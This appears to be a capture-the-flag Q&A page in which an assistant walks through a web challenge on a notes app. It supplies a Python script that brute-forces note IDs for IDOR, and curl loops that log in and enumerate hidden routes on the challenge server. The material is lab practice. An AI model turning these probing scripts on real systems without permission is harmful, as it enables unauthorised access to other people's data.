灵感笔记 100 3465 solves 你是一个自由撰稿人，使用"灵感笔记"云笔记工具。今天登录...

Question

灵感笔记
100
3465 solves

你是一个自由撰稿人，使用"灵感笔记"云笔记工具。今天登录后，偶然发现这个笔记系统似乎有点问题...找到隐藏的Flag！
题目地址：39.105.213.28:5000
用户名:admin,密码:123456

Answer 1

目前没法直接拿到 Flag：我这边访问靶机时，39.105.213.28:5000 端口直接 Connection refused，不是登录失败、403 或 WAF 拦截。

我验证到的结果类似：

bash
nc -vz -w 5 39.105.213.28 5000
# connect to 39.105.213.28 port 5000 failed: Connection refused

curl -v --connect-timeout 5 http://39.105.213.28:5000/
# Failed to connect to 39.105.213.28 port 5000

这通常表示：

靶机实例已过期或服务没启动；
平台需要重新启动题目环境；
端口只允许特定网络访问；
地址/端口已变更。

我不能凭空编一个 Flag。你可以先在本地浏览器确认能否打开该地址。如果能打开，可以优先按这个思路测：

python
import requests
import re

base = "http://39.105.213.28:5000"
s = requests.Session()

# 登录
r = s.post(
    base + "/login",
    data={"username": "admin", "password": "123456"},
    allow_redirects=True
)
print("login:", r.status_code, r.url)

# 常见入口
paths = [
    "/",
    "/robots.txt",
    "/flag",
    "/admin",
    "/notes",
    "/api/notes",
    "/api/note/1",
    "/user/1",
    "/profile",
]

for p in paths:
    try:
        rr = s.get(base + p, timeout=5)
        text = rr.text[:300].replace("\n", " ")
        print(p, rr.status_code, text)
        m = re.search(r"flag\{.*?\}|ctf\{.*?\}", rr.text, re.I)
        if m:
            print("FOUND:", m.group())
            break
    except Exception as e:
        print(p, e)

# 笔记类题常见 IDOR：遍历 note id
for i in range(1, 200):
    for tmpl in ["/note/{}", "/notes/{}", "/api/note/{}", "/api/notes/{}"]:
        url = base + tmpl.format(i)
        try:
            rr = s.get(url, timeout=3)
            if rr.status_code == 200:
                m = re.search(r"flag\{.*?\}|ctf\{.*?\}", rr.text, re.I)
                if m:
                    print("FOUND at", url, m.group())
                    raise SystemExit
        except Exception:
            pass

这类“云笔记/隐藏 Flag”题高概率是登录后看接口、隐藏路由、笔记 ID 越权或前端 JS 泄露。把你本地能打开后的页面源码、登录后抓包响应或截图发来，我会继续帮你定位。

Answer 2

源码里最关键的线索是这几个：

html
<input type="hidden" id="is-admin" value="true">
<a href="/project/flag-project-001">查看详情</a>
<script src="/main.js"></script>
<div id="admin-hint" style="display:none;"></div>

优先访问这两个地址：

text
http://39.105.213.28:5000/project/flag-project-001
http://39.105.213.28:5000/main.js

尤其是 /project/flag-project-001，这个项目 ID 已经直接写成了 flag-project-001，大概率就是 flag 笔记详情页。

你本地可以这样抓：

bash
curl -i -c cookie.txt -d "username=admin&password=123456" \
  http://39.105.213.28:5000/login

curl -s -b cookie.txt \
  http://39.105.213.28:5000/project/flag-project-001

curl -s -b cookie.txt \
  http://39.105.213.28:5000/main.js

如果详情页没直接显示 flag，继续试这些接口：

bash
for u in \
  /project/flag-project-001 \
  /api/project/flag-project-001 \
  /api/projects/flag-project-001 \
  /api/note/flag-project-001 \
  /api/notes/flag-project-001 \
  /admin \
  /admin/hint \
  /api/admin \
  /api/admin/hint \
  /flag
do
  echo "===== $u ====="
  curl -s -b cookie.txt "http://39.105.213.28:5000$u" | head -c 1000
  echo
done

同时查看页面源码，不只看浏览器渲染结果：

bash
curl -s -b cookie.txt \
  http://39.105.213.28:5000/project/flag-project-001 \
  | grep -iE "flag|ctf|hint|admin|secret|隐藏|秘密"

我这里依然连不上该端口，所以不能替你直接读取最终 flag。把 /project/flag-project-001 或 /main.js 的返回内容贴出来，基本就能继续定位到具体 flag。

灵感笔记 100 3465 solves 你是一个自由撰稿人，使用"灵感笔记"云笔记工具。今天登录...

問題

思考

回答

問題

思考

回答

分享這個問答